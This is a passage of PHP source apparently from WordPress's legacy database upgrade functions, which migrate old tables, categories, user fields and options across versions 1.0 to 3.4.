	// Get the title and ID of every post, post_name to check if it already has a value.
	$posts = $wpdb->get_results( "SELECT ID, post_title, post_name FROM $wpdb->posts WHERE post_name = ''" );
	if ( $posts ) {
		foreach ( $posts as $post ) {
			if ( '' === $post->post_name ) {
				$newtitle = sanitize_title( $post->post_title );
				$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET post_name = %s WHERE ID = %d", $newtitle, $post->ID ) );
			}
		}
	}

	$categories = $wpdb->get_results( "SELECT cat_ID, cat_name, category_nicename FROM $wpdb->categories" );
	foreach ( $categories as $category ) {
		if ( '' === $category->category_nicename ) {
			$newtitle = sanitize_title( $category->cat_name );
			$wpdb->update( $wpdb->categories, array( 'category_nicename' => $newtitle ), array( 'cat_ID' => $category->cat_ID ) );
		}
	}

	$sql = "UPDATE $wpdb->options
		SET option_value = REPLACE(option_value, 'wp-links/links-images/', 'wp-images/links/')
		WHERE option_name LIKE %s
		AND option_value LIKE %s";
	$wpdb->query( $wpdb->prepare( $sql, $wpdb->esc_like( 'links_rating_image' ) . '%', $wpdb->esc_like( 'wp-links/links-images/' ) . '%' ) );

	$done_ids = $wpdb->get_results( "SELECT DISTINCT post_id FROM $wpdb->post2cat" );
	if ( $done_ids ) :
		$done_posts = array();
		foreach ( $done_ids as $done_id ) :
			$done_posts[] = $done_id->post_id;
		endforeach;
		$catwhere = ' AND ID NOT IN (' . implode( ',', $done_posts ) . ')';
	else :
		$catwhere = '';
	endif;

	$allposts = $wpdb->get_results( "SELECT ID, post_category FROM $wpdb->posts WHERE post_category != '0' $catwhere" );
	if ( $allposts ) :
		foreach ( $allposts as $post ) {
			// Check to see if it's already been imported.
			$cat = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->post2cat WHERE post_id = %d AND category_id = %d", $post->ID, $post->post_category ) );
			if ( ! $cat && 0 != $post->post_category ) { // If there's no result.
				$wpdb->insert(
					$wpdb->post2cat,
					array(
						'post_id'     => $post->ID,
						'category_id' => $post->post_category,
					)
				);
			}
		}
	endif;
}

/**
 * Execute changes made in WordPress 1.0.1.
 *
 * @ignore
 * @since 1.0.1
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function upgrade_101() {
	global $wpdb;

	// Clean up indices, add a few.
	add_clean_index( $wpdb->posts, 'post_name' );
	add_clean_index( $wpdb->posts, 'post_status' );
	add_clean_index( $wpdb->categories, 'category_nicename' );
	add_clean_index( $wpdb->comments, 'comment_approved' );
	add_clean_index( $wpdb->comments, 'comment_post_ID' );
	add_clean_index( $wpdb->links, 'link_category' );
	add_clean_index( $wpdb->links, 'link_visible' );
}

/**
 * Execute changes made in WordPress 1.2.
 *
 * @ignore
 * @since 1.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function upgrade_110() {
	global $wpdb;

	// Set user_nicename.
	$users = $wpdb->get_results( "SELECT ID, user_nickname, user_nicename FROM $wpdb->users" );
	foreach ( $users as $user ) {
		if ( '' === $user->user_nicename ) {
			$newname = sanitize_title( $user->user_nickname );
			$wpdb->update( $wpdb->users, array( 'user_nicename' => $newname ), array( 'ID' => $user->ID ) );
		}
	}

	$users = $wpdb->get_results( "SELECT ID, user_pass from $wpdb->users" );
	foreach ( $users as $row ) {
		if ( ! preg_match( '/^[A-Fa-f0-9]{32}$/', $row->user_pass ) ) {
			$wpdb->update( $wpdb->users, array( 'user_pass' => md5( $row->user_pass ) ), array( 'ID' => $row->ID ) );
		}
	}

	// Get the GMT offset, we'll use that later on.
	$all_options = get_alloptions_110();

	$time_difference = $all_options->time_difference;

		$server_time = time() + gmdate( 'Z' );
	$weblogger_time  = $server_time + $time_difference * HOUR_IN_SECONDS;
	$gmt_time        = time();

	$diff_gmt_server       = ( $gmt_time - $server_time ) / HOUR_IN_SECONDS;
	$diff_weblogger_server = ( $weblogger_time - $server_time ) / HOUR_IN_SECONDS;
	$diff_gmt_weblogger    = $diff_gmt_server - $diff_weblogger_server;
	$gmt_offset            = -$diff_gmt_weblogger;

	// Add a gmt_offset option, with value $gmt_offset.
	add_option( 'gmt_offset', $gmt_offset );

	/*
	 * Check if we already set the GMT fields. If we did, then
	 * MAX(post_date_gmt) can't be '0000-00-00 00:00:00'.
	 * <michel_v> I just slapped myself silly for not thinking about it earlier.
	 */
	$got_gmt_fields = ( '0000-00-00 00:00:00' !== $wpdb->get_var( "SELECT MAX(post_date_gmt) FROM $wpdb->posts" ) );

	if ( ! $got_gmt_fields ) {

		// Add or subtract time to all dates, to get GMT dates.
		$add_hours   = (int) $diff_gmt_weblogger;
		$add_minutes = (int) ( 60 * ( $diff_gmt_weblogger - $add_hours ) );
		$wpdb->query( "UPDATE $wpdb->posts SET post_date_gmt = DATE_ADD(post_date, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE)" );
		$wpdb->query( "UPDATE $wpdb->posts SET post_modified = post_date" );
		$wpdb->query( "UPDATE $wpdb->posts SET post_modified_gmt = DATE_ADD(post_modified, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE) WHERE post_modified != '0000-00-00 00:00:00'" );
		$wpdb->query( "UPDATE $wpdb->comments SET comment_date_gmt = DATE_ADD(comment_date, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE)" );
		$wpdb->query( "UPDATE $wpdb->users SET user_registered = DATE_ADD(user_registered, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE)" );
	}
}

/**
 * Execute changes made in WordPress 1.5.
 *
 * @ignore
 * @since 1.5.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function upgrade_130() {
	global $wpdb;

	// Remove extraneous backslashes.
	$posts = $wpdb->get_results( "SELECT ID, post_title, post_content, post_excerpt, guid, post_date, post_name, post_status, post_author FROM $wpdb->posts" );
	if ( $posts ) {
		foreach ( $posts as $post ) {
			$post_content = addslashes( deslash( $post->post_content ) );
			$post_title   = addslashes( deslash( $post->post_title ) );
			$post_excerpt = addslashes( deslash( $post->post_excerpt ) );
			if ( empty( $post->guid ) ) {
				$guid = get_permalink( $post->ID );
			} else {
				$guid = $post->guid;
			}

			$wpdb->update( $wpdb->posts, compact( 'post_title', 'post_content', 'post_excerpt', 'guid' ), array( 'ID' => $post->ID ) );

		}
	}

	// Remove extraneous backslashes.
	$comments = $wpdb->get_results( "SELECT comment_ID, comment_author, comment_content FROM $wpdb->comments" );
	if ( $comments ) {
		foreach ( $comments as $comment ) {
			$comment_content = deslash( $comment->comment_content );
			$comment_author  = deslash( $comment->comment_author );

			$wpdb->update( $wpdb->comments, compact( 'comment_content', 'comment_author' ), array( 'comment_ID' => $comment->comment_ID ) );
		}
	}

	// Remove extraneous backslashes.
	$links = $wpdb->get_results( "SELECT link_id, link_name, link_description FROM $wpdb->links" );
	if ( $links ) {
		foreach ( $links as $link ) {
			$link_name        = deslash( $link->link_name );
			$link_description = deslash( $link->link_description );

			$wpdb->update( $wpdb->links, compact( 'link_name', 'link_description' ), array( 'link_id' => $link->link_id ) );
		}
	}

	$active_plugins = __get_option( 'active_plugins' );

	/*
	 * If plugins are not stored in an array, they're stored in the old
	 * newline separated format. Convert to new format.
	 */
	if ( ! is_array( $active_plugins ) ) {
		$active_plugins = explode( "\n", trim( $active_plugins ) );
		update_option( 'active_plugins', $active_plugins );
	}

	// Obsolete tables.
	$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optionvalues' );
	$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optiontypes' );
	$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optiongroups' );
	$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optiongroup_options' );

	// Update comments table to use comment_type.
	$wpdb->query( "UPDATE $wpdb->comments SET comment_type='trackback', comment_content = REPLACE(comment_content, '<trackback />', '') WHERE comment_content LIKE '<trackback />%'" );
	$wpdb->query( "UPDATE $wpdb->comments SET comment_type='pingback', comment_content = REPLACE(comment_content, '<pingback />', '') WHERE comment_content LIKE '<pingback />%'" );

	// Some versions have multiple duplicate option_name rows with the same values.
	$options = $wpdb->get_results( "SELECT option_name, COUNT(option_name) AS dupes FROM `$wpdb->options` GROUP BY option_name" );
	foreach ( $options as $option ) {
		if ( 1 != $option->dupes ) { // Could this be done in the query?
			$limit    = $option->dupes - 1;
			$dupe_ids = $wpdb->get_col( $wpdb->prepare( "SELECT option_id FROM $wpdb->options WHERE option_name = %s LIMIT %d", $option->option_name, $limit ) );
			if ( $dupe_ids ) {
				$dupe_ids = implode( ',', $dupe_ids );
				$wpdb->query( "DELETE FROM $wpdb->options WHERE option_id IN ($dupe_ids)" );
			}
		}
	}

	make_site_theme();
}

/**
 * Execute changes made in WordPress 2.0.
 *
 * @ignore
 * @since 2.0.0
 *
 * @global wpdb $wpdb                  WordPress database abstraction object.
 * @global int  $wp_current_db_version The old (current) database version.
 */
function upgrade_160() {
	global $wpdb, $wp_current_db_version;

	populate_roles_160();

	$users = $wpdb->get_results( "SELECT * FROM $wpdb->users" );
	foreach ( $users as $user ) :
		if ( ! empty( $user->user_firstname ) ) {
			update_user_meta( $user->ID, 'first_name', wp_slash( $user->user_firstname ) );
		}
		if ( ! empty( $user->user_lastname ) ) {
			update_user_meta( $user->ID, 'last_name', wp_slash( $user->user_lastname ) );
		}
		if ( ! empty( $user->user_nickname ) ) {
			update_user_meta( $user->ID, 'nickname', wp_slash( $user->user_nickname ) );
		}
		if ( ! empty( $user->user_level ) ) {
			update_user_meta( $user->ID, $wpdb->prefix . 'user_level', $user->user_level );
		}
		if ( ! empty( $user->user_icq ) ) {
			update_user_meta( $user->ID, 'icq', wp_slash( $user->user_icq ) );
		}
		if ( ! empty( $user->user_aim ) ) {
			update_user_meta( $user->ID, 'aim', wp_slash( $user->user_aim ) );
		}
		if ( ! empty( $user->user_msn ) ) {
			update_user_meta( $user->ID, 'msn', wp_slash( $user->user_msn ) );
		}
		if ( ! empty( $user->user_yim ) ) {
			update_user_meta( $user->ID, 'yim', wp_slash( $user->user_icq ) );
		}
		if ( ! empty( $user->user_description ) ) {
			update_user_meta( $user->ID, 'description', wp_slash( $user->user_description ) );
		}

		if ( isset( $user->user_idmode ) ) :
			$idmode = $user->user_idmode;
			if ( 'nickname' === $idmode ) {
				$id = $user->user_nickname;
			}
			if ( 'login' === $idmode ) {
				$id = $user->user_login;
			}
			if ( 'firstname' === $idmode ) {
				$id = $user->user_firstname;
			}
			if ( 'lastname' === $idmode ) {
				$id = $user->user_lastname;
			}
			if ( 'namefl' === $idmode ) {
				$id = $user->user_firstname . ' ' . $user->user_lastname;
			}
			if ( 'namelf' === $idmode ) {
				$id = $user->user_lastname . ' ' . $user->user_firstname;
			}
			if ( ! $idmode ) {
				$id = $user->user_nickname;
			}
			$wpdb->update( $wpdb->users, array( 'display_name' => $id ), array( 'ID' => $user->ID ) );
		endif;

		// FIXME: RESET_CAPS is temporary code to reset roles and caps if flag is set.
		$caps = get_user_meta( $user->ID, $wpdb->prefix . 'capabilities' );
		if ( empty( $caps ) || defined( 'RESET_CAPS' ) ) {
			$level = get_user_meta( $user->ID, $wpdb->prefix . 'user_level', true );
			$role  = translate_level_to_role( $level );
			update_user_meta( $user->ID, $wpdb->prefix . 'capabilities', array( $role => true ) );
		}

	endforeach;
	$old_user_fields = array( 'user_firstname', 'user_lastname', 'user_icq', 'user_aim', 'user_msn', 'user_yim', 'user_idmode', 'user_ip', 'user_domain', 'user_browser', 'user_description', 'user_nickname', 'user_level' );
	$wpdb->hide_errors();
	foreach ( $old_user_fields as $old ) {
		$wpdb->query( "ALTER TABLE $wpdb->users DROP $old" );
	}
	$wpdb->show_errors();

	// Populate comment_count field of posts table.
	$comments = $wpdb->get_results( "SELECT comment_post_ID, COUNT(*) as c FROM $wpdb->comments WHERE comment_approved = '1' GROUP BY comment_post_ID" );
	if ( is_array( $comments ) ) {
		foreach ( $comments as $comment ) {
			$wpdb->update( $wpdb->posts, array( 'comment_count' => $comment->c ), array( 'ID' => $comment->comment_post_ID ) );
		}
	}

	/*
	 * Some alpha versions used a post status of object instead of attachment
	 * and put the mime type in post_type instead of post_mime_type.
	 */
	if ( $wp_current_db_version > 2541 && $wp_current_db_version <= 3091 ) {
		$objects = $wpdb->get_results( "SELECT ID, post_type FROM $wpdb->posts WHERE post_status = 'object'" );
		foreach ( $objects as $object ) {
			$wpdb->update(
				$wpdb->posts,
				array(
					'post_status'    => 'attachment',
					'post_mime_type' => $object->post_type,
					'post_type'      => '',
				),
				array( 'ID' => $object->ID )
			);

			$meta = get_post_meta( $object->ID, 'imagedata', true );
			if ( ! empty( $meta['file'] ) ) {
				update_attached_file( $object->ID, $meta['file'] );
			}
		}
	}
}

/**
 * Execute changes made in WordPress 2.1.
 *
 * @ignore
 * @since 2.1.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_210() {
	global $wp_current_db_version, $wpdb;

	if ( $wp_current_db_version < 3506 ) {
		// Update status and type.
		$posts = $wpdb->get_results( "SELECT ID, post_status FROM $wpdb->posts" );

		if ( ! empty( $posts ) ) {
			foreach ( $posts as $post ) {
				$status = $post->post_status;
				$type   = 'post';

				if ( 'static' === $status ) {
					$status = 'publish';
					$type   = 'page';
				} elseif ( 'attachment' === $status ) {
					$status = 'inherit';
					$type   = 'attachment';
				}

				$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET post_status = %s, post_type = %s WHERE ID = %d", $status, $type, $post->ID ) );
			}
		}
	}

	if ( $wp_current_db_version < 3845 ) {
		populate_roles_210();
	}

	if ( $wp_current_db_version < 3531 ) {
		// Give future posts a post_status of future.
		$now = gmdate( 'Y-m-d H:i:59' );
		$wpdb->query( "UPDATE $wpdb->posts SET post_status = 'future' WHERE post_status = 'publish' AND post_date_gmt > '$now'" );

		$posts = $wpdb->get_results( "SELECT ID, post_date FROM $wpdb->posts WHERE post_status ='future'" );
		if ( ! empty( $posts ) ) {
			foreach ( $posts as $post ) {
				wp_schedule_single_event( mysql2date( 'U', $post->post_date, false ), 'publish_future_post', array( $post->ID ) );
			}
		}
	}
}

/**
 * Execute changes made in WordPress 2.3.
 *
 * @ignore
 * @since 2.3.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_230() {
	global $wp_current_db_version, $wpdb;

	if ( $wp_current_db_version < 5200 ) {
		populate_roles_230();
	}

	// Convert categories to terms.
	$tt_ids     = array();
	$have_tags  = false;
	$categories = $wpdb->get_results( "SELECT * FROM $wpdb->categories ORDER BY cat_ID" );
	foreach ( $categories as $category ) {
		$term_id     = (int) $category->cat_ID;
		$name        = $category->cat_name;
		$description = $category->category_description;
		$slug        = $category->category_nicename;
		$parent      = $category->category_parent;
		$term_group  = 0;

		// Associate terms with the same slug in a term group and make slugs unique.
		$exists = $wpdb->get_results( $wpdb->prepare( "SELECT term_id, term_group FROM $wpdb->terms WHERE slug = %s", $slug ) );
		if ( $exists ) {
			$term_group = $exists[0]->term_group;
			$id         = $exists[0]->term_id;
			$num        = 2;
			do {
				$alt_slug = $slug . "-$num";
				++$num;
				$slug_check = $wpdb->get_var( $wpdb->prepare( "SELECT slug FROM $wpdb->terms WHERE slug = %s", $alt_slug ) );
			} while ( $slug_check );

			$slug = $alt_slug;

			if ( empty( $term_group ) ) {
				$term_group = $wpdb->get_var( "SELECT MAX(term_group) FROM $wpdb->terms GROUP BY term_group" ) + 1;
				$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->terms SET term_group = %d WHERE term_id = %d", $term_group, $id ) );
			}
		}

		$wpdb->query(
			$wpdb->prepare(
				"INSERT INTO $wpdb->terms (term_id, name, slug, term_group) VALUES
		(%d, %s, %s, %d)",
				$term_id,
				$name,
				$slug,
				$term_group
			)
		);

		$count = 0;
		if ( ! empty( $category->category_count ) ) {
			$count    = (int) $category->category_count;
			$taxonomy = 'category';
			$wpdb->query( $wpdb->prepare( "INSERT INTO $wpdb->term_taxonomy (term_id, taxonomy, description, parent, count) VALUES ( %d, %s, %s, %d, %d)", $term_id, $taxonomy, $description, $parent, $count ) );
			$tt_ids[ $term_id ][ $taxonomy ] = (int) $wpdb->insert_id;
		}

		if ( ! empty( $category->link_count ) ) {
			$count    = (int) $category->link_count;
			$taxonomy = 'link_category';
			$wpdb->query( $wpdb->prepare( "INSERT INTO $wpdb->term_taxonomy (term_id, taxonomy, description, parent, count) VALUES ( %d, %s, %s, %d, %d)", $term_id, $taxonomy, $description, $parent, $count ) );
			$tt_ids[ $term_id ][ $taxonomy ] = (int) $wpdb->insert_id;
		}

		if ( ! empty( $category->tag_count ) ) {
			$have_tags = true;
			$count     = (int) $category->tag_count;
			$taxonomy  = 'post_tag';
			$wpdb->insert( $wpdb->term_taxonomy, compact( 'term_id', 'taxonomy', 'description', 'parent', 'count' ) );
			$tt_ids[ $term_id ][ $taxonomy ] = (int) $wpdb->insert_id;
		}

		if ( empty( $count ) ) {
			$count    = 0;
			$taxonomy = 'category';
			$wpdb->insert( $wpdb->term_taxonomy, compact( 'term_id', 'taxonomy', 'description', 'parent', 'count' ) );
			$tt_ids[ $term_id ][ $taxonomy ] = (int) $wpdb->insert_id;
		}
	}

	$select = 'post_id, category_id';
	if ( $have_tags ) {
		$select .= ', rel_type';
	}

	$posts = $wpdb->get_results( "SELECT $select FROM $wpdb->post2cat GROUP BY post_id, category_id" );
	foreach ( $posts as $post ) {
		$post_id  = (int) $post->post_id;
		$term_id  = (int) $post->category_id;
		$taxonomy = 'category';
		if ( ! empty( $post->rel_type ) && 'tag' === $post->rel_type ) {
			$taxonomy = 'tag';
		}
		$tt_id = $tt_ids[ $term_id ][ $taxonomy ];
		if ( empty( $tt_id ) ) {
			continue;
		}

		$wpdb->insert(
			$wpdb->term_relationships,
			array(
				'object_id'        => $post_id,
				'term_taxonomy_id' => $tt_id,
			)
		);
	}

	// < 3570 we used linkcategories. >= 3570 we used categories and link2cat.
	if ( $wp_current_db_version < 3570 ) {
		/*
		 * Create link_category terms for link categories. Create a map of link
		 * category IDs to link_category terms.
		 */
		$link_cat_id_map  = array();
		$default_link_cat = 0;
		$tt_ids           = array();
		$link_cats        = $wpdb->get_results( 'SELECT cat_id, cat_name FROM ' . $wpdb->prefix . 'linkcategories' );
		foreach ( $link_cats as $category ) {
			$cat_id     = (int) $category->cat_id;
			$term_id    = 0;
			$name       = wp_slash( $category->cat_name );
			$slug       = sanitize_title( $name );
			$term_group = 0;

			// Associate terms with the same slug in a term group and make slugs unique.
			$exists = $wpdb->get_results( $wpdb->prepare( "SELECT term_id, term_group FROM $wpdb->terms WHERE slug = %s", $slug ) );
			if ( $exists ) {
				$term_group = $exists[0]->term_group;
				$term_id    = $exists[0]->term_id;
			}

			if ( empty( $term_id ) ) {
				$wpdb->insert( $wpdb->terms, compact( 'name', 'slug', 'term_group' ) );
				$term_id = (int) $wpdb->insert_id;
			}

			$link_cat_id_map[ $cat_id ] = $term_id;
			$default_link_cat           = $term_id;

			$wpdb->insert(
				$wpdb->term_taxonomy,
				array(
					'term_id'     => $term_id,
					'taxonomy'    => 'link_category',
					'description' => '',
					'parent'      => 0,
					'count'       => 0,
				)
			);
			$tt_ids[ $term_id ] = (int) $wpdb->insert_id;
		}

		// Associate links to categories.
		$links = $wpdb->get_results( "SELECT link_id, link_category FROM $wpdb->links" );
		if ( ! empty( $links ) ) {
			foreach ( $links as $link ) {
				if ( 0 == $link->link_category ) {
					continue;
				}
				if ( ! isset( $link_cat_id_map[ $link->link_category ] ) ) {
					continue;
				}
				$term_id = $link_cat_id_map[ $link->link_category ];
				$tt_id   = $tt_ids[ $term_id ];
				if ( empty( $tt_id ) ) {
					continue;
				}

				$wpdb->insert(
					$wpdb->term_relationships,
					array(
						'object_id'        => $link->link_id,
						'term_taxonomy_id' => $tt_id,
					)
				);
			}
		}

		// Set default to the last category we grabbed during the upgrade loop.
		update_option( 'default_link_category', $default_link_cat );
	} else {
		$links = $wpdb->get_results( "SELECT link_id, category_id FROM $wpdb->link2cat GROUP BY link_id, category_id" );
		foreach ( $links as $link ) {
			$link_id  = (int) $link->link_id;
			$term_id  = (int) $link->category_id;
			$taxonomy = 'link_category';
			$tt_id    = $tt_ids[ $term_id ][ $taxonomy ];
			if ( empty( $tt_id ) ) {
				continue;
			}
			$wpdb->insert(
				$wpdb->term_relationships,
				array(
					'object_id'        => $link_id,
					'term_taxonomy_id' => $tt_id,
				)
			);
		}
	}

	if ( $wp_current_db_version < 4772 ) {
		// Obsolete linkcategories table.
		$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'linkcategories' );
	}

	// Recalculate all counts.
	$terms = $wpdb->get_results( "SELECT term_taxonomy_id, taxonomy FROM $wpdb->term_taxonomy" );
	foreach ( (array) $terms as $term ) {
		if ( 'post_tag' === $term->taxonomy || 'category' === $term->taxonomy ) {
			$count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships, $wpdb->posts WHERE $wpdb->posts.ID = $wpdb->term_relationships.object_id AND post_status = 'publish' AND post_type = 'post' AND term_taxonomy_id = %d", $term->term_taxonomy_id ) );
		} else {
			$count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $term->term_taxonomy_id ) );
		}
		$wpdb->update( $wpdb->term_taxonomy, array( 'count' => $count ), array( 'term_taxonomy_id' => $term->term_taxonomy_id ) );
	}
}

/**
 * Remove old options from the database.
 *
 * @ignore
 * @since 2.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function upgrade_230_options_table() {
	global $wpdb;
	$old_options_fields = array( 'option_can_override', 'option_type', 'option_width', 'option_height', 'option_description', 'option_admin_level' );
	$wpdb->hide_errors();
	foreach ( $old_options_fields as $old ) {
		$wpdb->query( "ALTER TABLE $wpdb->options DROP $old" );
	}
	$wpdb->show_errors();
}

/**
 * Remove old categories, link2cat, and post2cat database tables.
 *
 * @ignore
 * @since 2.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function upgrade_230_old_tables() {
	global $wpdb;
	$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'categories' );
	$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'link2cat' );
	$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'post2cat' );
}

/**
 * Upgrade old slugs made in version 2.2.
 *
 * @ignore
 * @since 2.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function upgrade_old_slugs() {
	// Upgrade people who were using the Redirect Old Slugs plugin.
	global $wpdb;
	$wpdb->query( "UPDATE $wpdb->postmeta SET meta_key = '_wp_old_slug' WHERE meta_key = 'old_slug'" );
}

/**
 * Execute changes made in WordPress 2.5.0.
 *
 * @ignore
 * @since 2.5.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_250() {
	global $wp_current_db_version;

	if ( $wp_current_db_version < 6689 ) {
		populate_roles_250();
	}
}

/**
 * Execute changes made in WordPress 2.5.2.
 *
 * @ignore
 * @since 2.5.2
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function upgrade_252() {
	global $wpdb;

	$wpdb->query( "UPDATE $wpdb->users SET user_activation_key = ''" );
}

/**
 * Execute changes made in WordPress 2.6.
 *
 * @ignore
 * @since 2.6.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_260() {
	global $wp_current_db_version;

	if ( $wp_current_db_version < 8000 ) {
		populate_roles_260();
	}
}

/**
 * Execute changes made in WordPress 2.7.
 *
 * @ignore
 * @since 2.7.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_270() {
	global $wp_current_db_version, $wpdb;

	if ( $wp_current_db_version < 8980 ) {
		populate_roles_270();
	}

	// Update post_date for unpublished posts with empty timestamp.
	if ( $wp_current_db_version < 8921 ) {
		$wpdb->query( "UPDATE $wpdb->posts SET post_date = post_modified WHERE post_date = '0000-00-00 00:00:00'" );
	}
}

/**
 * Execute changes made in WordPress 2.8.
 *
 * @ignore
 * @since 2.8.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_280() {
	global $wp_current_db_version, $wpdb;

	if ( $wp_current_db_version < 10360 ) {
		populate_roles_280();
	}
	if ( is_multisite() ) {
		$start = 0;
		while ( $rows = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options ORDER BY option_id LIMIT $start, 20" ) ) {
			foreach ( $rows as $row ) {
				$value = maybe_unserialize( $row->option_value );
				if ( $value === $row->option_value ) {
					$value = stripslashes( $value );
				}
				if ( $value !== $row->option_value ) {
					update_option( $row->option_name, $value );
				}
			}
			$start += 20;
		}
		clean_blog_cache( get_current_blog_id() );
	}
}

/**
 * Execute changes made in WordPress 2.9.
 *
 * @ignore
 * @since 2.9.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_290() {
	global $wp_current_db_version;

	if ( $wp_current_db_version < 11958 ) {
		/*
		 * Previously, setting depth to 1 would redundantly disable threading,
		 * but now 2 is the minimum depth to avoid confusion.
		 */
		if ( get_option( 'thread_comments_depth' ) == '1' ) {
			update_option( 'thread_comments_depth', 2 );
			update_option( 'thread_comments', 0 );
		}
	}
}

/**
 * Execute changes made in WordPress 3.0.
 *
 * @ignore
 * @since 3.0.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_300() {
	global $wp_current_db_version, $wpdb;

	if ( $wp_current_db_version < 15093 ) {
		populate_roles_300();
	}

	if ( $wp_current_db_version < 14139 && is_multisite() && is_main_site() && ! defined( 'MULTISITE' ) && get_site_option( 'siteurl' ) === false ) {
		add_site_option( 'siteurl', '' );
	}

	// 3.0 screen options key name changes.
	if ( wp_should_upgrade_global_tables() ) {
		$sql    = "DELETE FROM $wpdb->usermeta
			WHERE meta_key LIKE %s
			OR meta_key LIKE %s
			OR meta_key LIKE %s
			OR meta_key LIKE %s
			OR meta_key LIKE %s
			OR meta_key LIKE %s
			OR meta_key = 'manageedittagscolumnshidden'
			OR meta_key = 'managecategoriescolumnshidden'
			OR meta_key = 'manageedit-tagscolumnshidden'
			OR meta_key = 'manageeditcolumnshidden'
			OR meta_key = 'categories_per_page'
			OR meta_key = 'edit_tags_per_page'";
		$prefix = $wpdb->esc_like( $wpdb->base_prefix );
		$wpdb->query(
			$wpdb->prepare(
				$sql,
				$prefix . '%' . $wpdb->esc_like( 'meta-box-hidden' ) . '%',
				$prefix . '%' . $wpdb->esc_like( 'closedpostboxes' ) . '%',
				$prefix . '%' . $wpdb->esc_like( 'manage-' ) . '%' . $wpdb->esc_like( '-columns-hidden' ) . '%',
				$prefix . '%' . $wpdb->esc_like( 'meta-box-order' ) . '%',
				$prefix . '%' . $wpdb->esc_like( 'metaboxorder' ) . '%',
				$prefix . '%' . $wpdb->esc_like( 'screen_layout' ) . '%'
			)
		);
	}
}

/**
 * Execute changes made in WordPress 3.3.
 *
 * @ignore
 * @since 3.3.0
 *
 * @global int   $wp_current_db_version The old (current) database version.
 * @global wpdb  $wpdb                  WordPress database abstraction object.
 * @global array $wp_registered_widgets
 * @global array $sidebars_widgets
 */
function upgrade_330() {
	global $wp_current_db_version, $wpdb, $wp_registered_widgets, $sidebars_widgets;

	if ( $wp_current_db_version < 19061 && wp_should_upgrade_global_tables() ) {
		$wpdb->query( "DELETE FROM $wpdb->usermeta WHERE meta_key IN ('show_admin_bar_admin', 'plugins_last_view')" );
	}

	if ( $wp_current_db_version >= 11548 ) {
		return;
	}

	$sidebars_widgets  = get_option( 'sidebars_widgets', array() );
	$_sidebars_widgets = array();

	if ( isset( $sidebars_widgets['wp_inactive_widgets'] ) || empty( $sidebars_widgets ) ) {
		$sidebars_widgets['array_version'] = 3;
	} elseif ( ! isset( $sidebars_widgets['array_version'] ) ) {
		$sidebars_widgets['array_version'] = 1;
	}

	switch ( $sidebars_widgets['array_version'] ) {
		case 1:
			foreach ( (array) $sidebars_widgets as $index => $sidebar ) {
				if ( is_array( $sidebar ) ) {
					foreach ( (array) $sidebar as $i => $name ) {
						$id = strtolower( $name );
						if ( isset( $wp_registered_widgets[ $id ] ) ) {
							$_sidebars_widgets[ $index ][ $i ] = $id;
							continue;
						}

						$id = sanitize_title( $name );
						if ( isset( $wp_registered_widgets[ $id ] ) ) {
							$_sidebars_widgets[ $index ][ $i ] = $id;
							continue;
						}

						$found = false;

						foreach ( $wp_registered_widgets as $widget_id => $widget ) {
							if ( strtolower( $widget['name'] ) === strtolower( $name ) ) {
								$_sidebars_widgets[ $index ][ $i ] = $widget['id'];

								$found = true;
								break;
							} elseif ( sanitize_title( $widget['name'] ) === sanitize_title( $name ) ) {
								$_sidebars_widgets[ $index ][ $i ] = $widget['id'];

								$found = true;
								break;
							}
						}

						if ( $found ) {
							continue;
						}

						unset( $_sidebars_widgets[ $index ][ $i ] );
					}
				}
			}
			$_sidebars_widgets['array_version'] = 2;
			$sidebars_widgets                   = $_sidebars_widgets;
			unset( $_sidebars_widgets );

			// Intentional fall-through to upgrade to the next version.
		case 2:
			$sidebars_widgets                  = retrieve_widgets();
			$sidebars_widgets['array_version'] = 3;
			update_option( 'sidebars_widgets', $sidebars_widgets );
	}
}

/**
 * Execute changes made in WordPress 3.4.
 *
 * @ignore
 * @since 3.4.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_340() {
	global $wp_current_db_version, $wpdb;

